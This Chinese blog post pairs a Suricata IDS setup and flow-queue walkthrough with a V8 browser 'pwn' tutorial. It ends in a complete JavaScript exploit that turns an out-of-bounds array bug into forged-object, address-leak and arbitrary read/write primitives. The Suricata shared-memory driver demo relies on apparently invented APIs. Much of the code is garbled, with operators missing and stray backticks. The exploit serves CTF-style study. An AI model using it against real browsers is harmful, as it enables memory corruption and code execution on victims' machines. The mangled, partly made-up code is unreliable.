Suricata通过共享内存获取流量+pwn-浏览器内核V8

2024-08-02 11:01:35 浏览数 (2)

Suricata通过共享内存获取流量

Introduction

Suricata是一个高性能的网络入侵检测和防御系统(IDS/IPS)。它是由OISF开发,完全开源,并且可以免费使用。https://github.com/OISF/suricata

Suricata由线程和队列组成,数据包在线程间传递通过队列实现。线程由多个线程模块组成,每个线程模块实现一种功能。

Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue, ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap,-r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads, queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,我们可以./suricata –list-runmodes查看运行模式,运行模式又细分为”autofp”, “single”,“wokers”。

Suricata 针对每种运行模式实现了对应的 ThreadVars 数据结构,从而在线程程度上操作数据。对应的数据结构分别位于对应模式的source文件里面,命名为:模式名字 ThreadVars。

共享内存(shared memory)指在多处理器的计算机系统中,可以被不同中央处理器(CPU)访问的大容量内存。由于多个CPU需要快速访问存储器,这样就要对存储器进行缓存(Cache)。任何一个缓存的数据被更新后,由于其他处理器也可能要存取,共享内存就需要立即更新,否则不同的处理器可能用到不同的数据。共享内存是 Unix下的多进程之间的通信方法,这种方法通常用于一个程序的多进程间通信,实际上多个程序间也可以通过共享内存来传递信息。

Suricata安装

添加 Suricata PPA(个人包档案)并安装 Suricata,添加 OISF(Open Information Security Foundation)的 PPA:

代码语言:javascript复制
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt update

安装 Suricata:

代码语言:javascript复制
sudo apt install suricata -y

安装完成后,运行以下命令以验证 Suricata 是否正确安装:

代码语言:javascript复制
suricata --build-info

Suricata配置

创建配置文件的备份,修改之前一定要先备份

代码语言:javascript复制
sudo cp /etc/suricata/suricata.yaml /etc/suricata/suricata.yaml.bak

Suricata的可执行文件默认在/usr/bin下,配置文件默认在/etc/suricata下

可以通过Suricata内置的测试模式检查配置文件和其他规则的有效性

代码语言:javascript复制
sudo suricata -T -c /etc/suricata/suricata.yaml -v

在/etc/suricata/suricata.yaml中可以更改要监控的网络接口

运行前的测试

以下是我笔记本上的各个网络接口

这里我用wifi0接口测试能否正常运行

代码语言:javascript复制
sudo suricata -c /etc/suricata/suricata.yaml -i eth0

Suricata运行模式

  1. Suricata有多种运行模式,这些模式与抓包驱动和IDS/IPS选择相关联。抓包驱动如:pcap, pcap file, nfqueue,ipfw, dpdk或者一个特有的抓包驱动等。Suricata在启动时只能选择某个运行模式。如-i选项表示pcap, -r表示pcapfile,-q表示nfqueue等。每一种运行模式都会初始化一些threads,queues等。模式的具体任务是由线程模块来完成。根据线程和线程模块的组织方式的不同,运行模式又细分为”autofp”, “single”,“wokers”.

IDS(入侵检测系统)模式

  1. 特点:仅检测不阻止。
  2. 数据获取:通常使用 Libpcap 或 AF_PACKET 抓包。
  3. 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 日志/报警。
  4. 优势:简单配置,不影响流量。
  5. 劣势:不能阻止攻击,只能告警。

IPS(入侵防御系统)模式

  1. 特点:检测并阻止。
  2. 数据获取:通常使用 NFQUEUE 或 AF_PACKET 抓包。
  3. 流程:网络接口 -> 抓包驱动 -> Suricata -> 检测引擎 -> 阻止/通过流量。
  4. 优势:可以阻止攻击。
  5. 劣势:配置复杂,可能影响网络性能。

流的分配

当suricata收到一个特定协议(ipv6, icmp, sctp,tcp,udp)的packet后,会计算一个流的hash值,设置PKT_WANTS_FLOW标志。

代码语言:javascript复制
void FlowSetupPacket(Packet *p)
{
    p->flags |= PKT_WANTS_FLOW;
    p->flow_hash = FlowGetHash(p);
}

FlowWorker会基于PKT_WANTS_FLOW标志,进行流的查找或分配。

代码语言:javascript复制
static TmEcode FlowWorker(ThreadVars *tv, Packet *p, void *data, PacketQueue *preq, PacketQueue *unused)
{
    /* handle Flow */
    if (p->flags & PKT_WANTS_FLOW) {
        FLOWWORKER_PROFILING_START(p, PROFILE_FLOWWORKER_FLOW);

        FlowHandlePacket(tv, fw->dtv, p);
        if (likely(p->flow != NULL)) {
            DEBUG_ASSERT_FLOW_LOCKED(p->flow);
            if (FlowUpdate(tv, fw, p) == TM_ECODE_DONE) 

通过对流进行哈希检索:查找包含流指针的哈希桶

代码语言:javascript复制
void FlowHandlePacket(ThreadVars *tv, DecodeThreadVars *dtv, Packet *p)
{
...
    Flow *f = FlowGetFlowFromHash(tv, dtv, p, &p->flow);
...
    p->flags |= PKT_HAS_FLOW;
    return;
}

Flow *FlowGetFlowFromHash(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p, Flow **dest)
{
    Flow *f = NULL;

    /* get our hash bucket and lock it */
    const uint32_t hash = p->flow_hash;
    FlowBucket *fb = &flow_hash[hash % flow_config.hash_size];
    FBLOCK_LOCK(fb);

如果桶内没有任何流,分配一条新的流

代码语言:javascript复制
if (fb->head == NULL) {
      f = FlowGetNew(tv, dtv, p);
      if (f == NULL) {
          FBLOCK_UNLOCK(fb);
          return NULL;
      }
     
      /* flow is locked */
      fb->head = f;
      fb->tail = f;
     
      /* got one, now lock, initialize and return */
      FlowInit(f, p);
      f->flow_hash = hash;
      f->fb = fb;
      FlowUpdateState(f, FLOW_STATE_NEW);
     
      FlowReference(dest, f);
     
      FBLOCK_UNLOCK(fb);
      return f;
  }

将包与找到的流进行比较

代码语言:javascript复制
 /* see if this is the flow we are looking for */
    if (FlowCompare(f, p) == 0) {
        Flow *pf = NULL; /* previous flow */

        while (f) {
...
            if (FlowCompare(f, p) != 0) {
...
    return f;
}

流的队列

spare队列

spare队列存储着备用的、未使用的、预分配的流。

代码语言:javascript复制
FlowQueue flow_spare_q;
FlowQueueInit(&flow_spare_q);
入队

flow_spare_q的入队的操作,主要发生在:

初始化时的预分配

代码语言:javascript复制
void FlowInitConfig(char quiet)
{
...
    /* pre allocate flows */
    for (i = 0; i < flow_config.prealloc; i  ) {
...
        Flow *f = FlowAlloc();
        if (f == NULL) {
            SCLogError(SC_ERR_FLOW_INIT, "preallocating flow failed: %s", strerror(errno));
            exit(EXIT_FAILURE);
        }

        FlowEnqueue(&flow_spare_q,f);
    }

流管理检查时的补足

代码语言:javascript复制
int FlowUpdateSpareFlows(void)
{
...
    if (len < flow_config.prealloc) {
        toalloc = flow_config.prealloc - len;

        uint32_t i;
        for (i = 0; i < toalloc; i  ) {
            Flow *f = FlowAlloc();
            if (f == NULL)
                return 0;

            FlowEnqueue(&flow_spare_q,f);
        }

流的回收,即从flow_recycle_qflow_spare_q

代码语言:javascript复制
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
{
...
       while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
                FLOWLOCK_WRLOCK(f);

                (void)OutputFlowLog(th_v, ftd->output_thread_data, f);

                FlowClearMemory (f, f->protomap);
                FLOWLOCK_UNLOCK(f);
                FlowMoveToSpare(f);
                recycled_cnt  ;
            }
        }
出队

flow_spare_q的出队的操作,主要发生在:

流的分配

代码语言:javascript复制
static Flow *FlowGetNew(ThreadVars *tv, DecodeThreadVars *dtv, const Packet *p)
{
...
    /* get a flow from the spare queue */
    f = FlowDequeue(&flow_spare_q);
代码语言:javascript复制
Flow *FlowGetFromFlowKey(FlowKey *key, struct timespec *ttime, const uint32_t hash)
{
...
    /* No existing flow so let's get one new */
    f = FlowDequeue(&flow_spare_q);

释放多余的分配的流

代码语言:javascript复制
int FlowUpdateSpareFlows(void)
{
...
    } else if (len > flow_config.prealloc) {
        tofree = len - flow_config.prealloc;

        uint32_t i;
        for (i = 0; i < tofree; i  ) {
            /* FlowDequeue locks the queue */
            Flow *f = FlowDequeue(&flow_spare_q);
            if (f == NULL)
                return 1;

进程退出

代码语言:javascript复制
void FlowShutdown(void)
{
...
    /* free queues */
    while((f = FlowDequeue(&flow_spare_q))) {
        FlowFree(f);
    }

recycle队列

recycle队列存储着将传递到清理、日志线程的流。

代码语言:javascript复制
FlowQueue flow_recycle_q;
FlowQueueInit(&flow_recycle_q);
入队

flow_recycle_q的入队的操作,主要发生在:

流超时进行回收

代码语言:javascript复制
static uint32_t FlowManagerHashRowTimeout(Flow *f, struct timeval *ts,
...
            /* no one is referring to this flow, use_cnt 0, removed from hash
             * so we can unlock it and pass it to the flow recycler */
            FLOWLOCK_UNLOCK(f);
            FlowEnqueue(&flow_recycle_q, f);

进程退出时,对流hash桶中的流进行回收处理

代码语言:javascript复制
static uint32_t FlowManagerHashRowCleanup(Flow *f)
{
...
        /* no one is referring to this flow, use_cnt 0, removed from hash
         * so we can unlock it and move it to the recycle queue. */
        FLOWLOCK_UNLOCK(f);

        FlowEnqueue(&flow_recycle_q, f);
出队

flow_recycle_q的出队的操作,主要发生在:

流的回收,即从flow_recycle_qflow_spare_q

代码语言:javascript复制
static TmEcode FlowRecycler(ThreadVars *th_v, void *thread_data)
{
...
       while ((f = FlowDequeue(&flow_recycle_q)) != NULL) {
                FLOWLOCK_WRLOCK(f);

                (void)OutputFlowLog(th_v, ftd->output_thread_data, f);

                FlowClearMemory (f, f->protomap);
                FLOWLOCK_UNLOCK(f);
                FlowMoveToSpare(f);
                recycled_cnt  ;
            }
        }

进程退出

代码语言:javascript复制
void FlowShutdown(void)
{
...
    while((f = FlowDequeue(&flow_recycle_q))) {
        FlowFree(f);
    }

实现 Suricata 从共享内存中读取流量数据的 demo

添加新抓包驱动

首先,需要在 Suricata 源代码中添加一个新的抓包驱动。找到 source-af-packet.c 或其他现有抓包驱动文件,作为新驱动实现的模板。

文件 source-sharedmem.c

代码语言:javascript复制
#include "suricata-common.h"
#include "source.h"
#include "decode.h"
#include "util-sharedmem.h"  // 假设我们有一个处理共享内存的工具

// 定义抓包驱动的初始化函数
int SharedMemInit(ConfNode *conf, const char *device, void **data) {
    // 初始化共享内存
    *data = SharedMemAttach(device);
    if (*data == NULL) {
        return -1;
    }
    return 0;
}

// 定义抓包驱动的关闭函数
void SharedMemClose(void *data) {
    // 关闭共享内存
    SharedMemDetach(data);
}

// 定义抓包驱动的读取函数
int SharedMemRead(void *data, Packet *p) {
    // 从共享内存中读取数据
    return SharedMemFetch(data, p);
}

// 定义抓包驱动的配置结构
CaptureInterface shared_mem_iface = {
    .name = "sharedmem",
    .Init = SharedMemInit,
    .Close = SharedMemClose,
    .Read = SharedMemRead,
};

// 在 Suricata 初始化时注册抓包驱动
void TmModuleSharedMemRegister(void) {
    TmModuleRegisterCaptureInterface(&shared_mem_iface);
}

然后,在 tm-threads.c 文件中注册新的抓包驱动:

代码语言:javascript复制
extern void TmModuleSharedMemRegister(void);

void TmThreadsRegisterAll(void) {
    // ... 其他抓包驱动注册
    TmModuleSharedMemRegister();
}

添加新的运行模式

找到 Suricata 源代码中的 runmodes.c 文件,并添加新的运行模式,例如 sharedmem

代码语言:javascript复制
#include "runmode-sharedmem.h"

void RunModeRegisterAll(void) {
    // ... 其他运行模式注册
    RunModeRegister("sharedmem", RunModeSharedMemAutoFp);
}

runmode-sharedmem.c 文件中实现新的运行模式:

代码语言:javascript复制
#include "suricata-common.h"
#include "threads.h"
#include "source.h"
#include "runmode.h"

void RunModeSharedMemAutoFp(void) {
    // 配置线程和队列
    if (InitAutoFp() < 0) {
        return;
    }

    // 创建和启动线程
    TmThreadSpawn(&shared_mem_iface, NULL);

    // 处理线程队列
    TmThreadsSlotScheduler();
}

修改 ThreadVars 数据结构

为新的运行模式创建对应的 ThreadVars 数据结构:

代码语言:javascript复制
typedef struct SharedMemThreadVars_ {
    // 定义线程变量
    void *shared_mem;
} SharedMemThreadVars;

runmode-sharedmem.c 文件中使用该数据结构:

代码语言:javascript复制
#include "runmode-sharedmem.h"

int InitAutoFp(void) {
    // 初始化线程变量
    SharedMemThreadVars *tv = SCMalloc(sizeof(SharedMemThreadVars));
    if (tv == NULL) {
        return -1;
    }
    // 初始化共享内存
    tv->shared_mem = SharedMemAttach("/path/to/shared_mem");
    if (tv->shared_mem == NULL) {
        return -1;
    }
    return 0;
}

实现从共享内存读取流量数据的 demo

代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include "util-sharedmem.h"

int main(void) {
    // 附加到共享内存
    void *shared_mem = SharedMemAttach("/path/to/shared_mem");
    if (shared_mem == NULL) {
        fprintf(stderr, "Failed to attach shared memoryn");
        return -1;
    }

    // 读取数据包
    Packet p;
    while (SharedMemFetch(shared_mem, &p) == 0) {
        // 处理数据包
        ProcessPacket(&p);
    }

    // 分离共享内存
    SharedMemDetach(shared_mem);

    return 0;
}

Pwn-浏览器内核V8

V8环境搭建

编译V8

Ubuntu 18.04操作系统

下载用于Chromium开发的工具depot_tools,用于V8的编译

代码语言:javascript复制
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools 添加到环境变量 PATH 的末尾

代码语言:javascript复制
export PATH=$PATH:<path to depot_tools>

挂好代理,进入到 depot_tools 。直接安装会 ninja 报错需要先将版本回退到 138bff28** 并且将 DEPOT_TOOLS_UPDATE 设为 0 。之后更新 depot_tools

代码语言:javascript复制
git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient

下载 v8,这个时间比较长,下载完后目录下会多一个 v8 文件夹。

代码语言:javascript复制
fetch v8

首先安装浏览器然后再网址栏中输入 chrome://version 查看版本,例如:

代码语言:javascript复制
112.0.5615.87 (正式版本) (64 位) (cohort: Bypass)

打开 github 的 chrome 项目,搜索版本号并切换至相应版本。

然后在项目根目录下的 DEPS 文件中查看 V8 版本:

编译 v8 ,这里选的 release 版本。debug 版本改为 x64.debug ,32 为版本将 x64 改为 ia32 。如果调试漏洞的话, 最好选择 release 版本 因为 debug 版本可能会有很多检查。

另外如果出现路径错误需要切换到 ./tools/dev/ 路径再进行编译。不过这样编译最终生成的 d8tools/dev/out/x64.release 目录下。

编译生成的 d8./out/x64.release/d8 中。

调试V8

~/.gdbinit 添加 v8 的调试插件:

代码语言:javascript复制
source` `/path/to/v8/tools/gdbinit
source` `/path/to/v8/tools/gdb-v8-support``.py

常见参数:

  • --allow-natives-syntax 开启原生API (用的比较多)
  • --trace-turbo 跟踪生成TurboFan IR
  • --print-bytecode 打印生成的bytecode
  • --shell 运行脚本后切入交互模式
  • 更多参数可以参考 --help

调试 js 脚本时可以采用如下命令:

代码语言:javascript复制
gdb ./d8
r --allow-natives-syntax --shell ./exp.js

安装 turbolizer

turbolizer 是一个可视化分析 JS 优化的工具,安装命令如下:

代码语言:javascript复制
sudo apt install npm
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n 16.20.0 # sudo n latest
sudo npm i
sudo npm run-script build

由于 Ubuntu18.04 默认的 node 版本过低,需要安装 16.20.0 版本

最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口

代码语言:javascript复制
python -m SimpleHTTPServer 8000

编写一个 js 脚本: %OptimizeFunctionOnNextCall 内置函数可以直接触发强行触发优化。

代码语言:javascript复制
function add(a, b) {
    return a   b;
}
 
//%OptimizeFunctionOnNextCall(add);
for (let i = 0; i < 10000000; i  ) {
    add(i, i   1);
}

运行 js 脚本并使用 --trace-turbo 参数

代码语言:javascript复制
.``/d8` `--trace-turbo --allow-natives-syntax .``/test``.js

此时会生成如下文件:

在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问 http://127.0.0.1:8000/path/to/v8/tools/turbolizer/(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。

任意地址对象伪造漏洞复现

如果存在任意地址对象伪造漏洞(fake_object 原语),则我们可以在一个大的 DoubleArray 中伪造一个 DoubleArray 然后实现 offset_ofarbitrary_offset_readarbitrary_offset_write 原语。首先我们先创建一个大的 DoubleArray 并在里面伪造一个 DoubleArray

这里需要注意的是:通过调试可知,我们只需要伪造 map 的前 16 字节即可。而 map 的前 16 字节基本是不变的。

代码语言:javascript复制
let spray_array = new Array(0xf700).fill(1.1);
let spray_array_data_offset = 0x00202141n   7n;  // spray_array 的 element 中成员的起始地址
let map_offset = spray_array_data_offset   0x1000n;  // 伪造的 map 在沙箱中的偏移
let fake_double_array_offset = map_offset   0x1000n;  // 伪造的 fake_double_array 在沙箱中的偏移
 
// 伪造 fake_double_array 的 map ,这里只需要伪造前 16 字节。
spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
spray_array[(map_offset - spray_array_data_offset) / 8n   1n] = u2d(0xa0007ff1100083an);
 
// fake_double_array 的 map 指针指向伪造的 map
spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));
 
// 利用任意地址对象伪造漏洞(fake_object)泄露出 fake_double_array
let fake_double_array = trigger(fake_double_array_offset | 1n);

offset_of 原语实现:我们只需要再申请一个大的 ObjectArray(我们称之为 spray_object_array)然后让伪造的 DoubleArrayelements 指针指向 spray_object_arrayelementselements 在沙箱内偏移固定)造成类型混淆。

代码语言:javascript复制
  let spray_object_array = ``new` `Array(0xf700).fill({});
  let object_array_element_offset = 0x00282141n;
  
           

  function` `offset_of(object) {
    ``// 将 object 添加到 spray_object_array 的 elements 中
    ``spray_object_array[0] = object;
    ``// fake_double_array 的 elements 指针指向 spray_object_array 的 elements
    ``spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n   1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
    ``// 从 fake_double_array 读出 object 在沙箱中的偏移
    ``return` `d2u(fake_double_array[0]) & 0xFFFFFFFFn;
  }
  
8.   `arbitrary_offset_read` 和 `arbitrary_offset_write` 原语实现:直接通过 `apray_array` 修改 `elements` 然后读写 `fake_double_array` 实现。

9.   ![](https://strongwillpro.oss-cn-beijing.aliyuncs.com/img/20240713212409.png)

  function arbitrary_offset_read(address) {
      spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n   1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
      return d2u(fake_double_array[0]);
  }
   
  function arbitrary_offset_write(address, value) {
      spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n   1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
      fake_double_array[0] = u2d(value);
  
10.   完整exp

   let array_buffer = new ArrayBuffer(0x8);
   let data_view = new DataView(array_buffer);
    
   function d2u(value) {
       data_view.setFloat64(0, value);
       return data_view.getBigUint64(0);
   }
    
   function u2d(value) {
       data_view.setBigUint64(0, value);
       return data_view.getFloat64(0);
   }
    
   function hex(val) {
       return '0x'   val.toString(16).padStart(16, "0");
   }
    
   let oob_array = [.1];
   let object_array = [{}];
   let double_array = [.1];
   let rw_array = [.1];
    
    
   oob_array.len(0x1337);
    
   let object_array_map = d2u(oob_array[8]);
   let double_array_map = d2u(oob_array[12]);
    
   console.log("[*] object array map: "   hex(object_array_map & 0xFFFFFFFFn));
   console.log("[*] double array map: "   hex(double_array_map & 0xFFFFFFFFn));
    
   function trigger(offset) {
       oob_array[12] = u2d(double_array_map);
       double_array[0] = u2d(offset);
       oob_array[12] = u2d((object_array_map & 0xFFFFFFFFn) | (double_array_map & 0xFFFFFFFF00000000n));
       return double_array[0];
   }
    
   let spray_array = new Array(0xf700).fill(1.1);
   let spray_array_data_offset = 0x00202141n   7n;
   let map_offset = spray_array_data_offset   0x1000n;
   let fake_double_array_offset = map_offset   0x1000n;
    
   spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n);
   spray_array[(map_offset - spray_array_data_offset) / 8n   1n] = u2d(0xa0007ff1100083an);
   spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | (0x00002259n << 32n));;
   let fake_double_array = trigger(fake_double_array_offset | 1n);
    
    
   let spray_object_array = new Array(0xf700).fill({});
   let object_array_element_offset = 0x00282141n;
    
    
   function offset_of(object) {
       spray_object_array[0] = object;
       spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n   1n] = u2d(object_array_element_offset | 1n | (0x00000002n << 32n));
       return d2u(fake_double_array[0]) & 0xFFFFFFFFn;
   }
    
   function arbitrary_offset_read(address) {
       spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n   1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
       return d2u(fake_double_array[0]);
   }
    
   function arbitrary_offset_write(address, value) {
       spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n   1n] = u2d((address - 8n) | 1n | (0x00000002n << 32n));
       fake_double_array[0] = u2d(value);
   }
    
   let a = [1, 2, 3, 4];
    
   % DebugPrint(a);
    
   arbitrary_offset_write(offset_of(a), 0xdeadbeefn);
    
    
   // % DebugPrint(oob_array);
   // console.log(hex(offset_of(oob_array)));
    
   % SystemBreak();

0 人点赞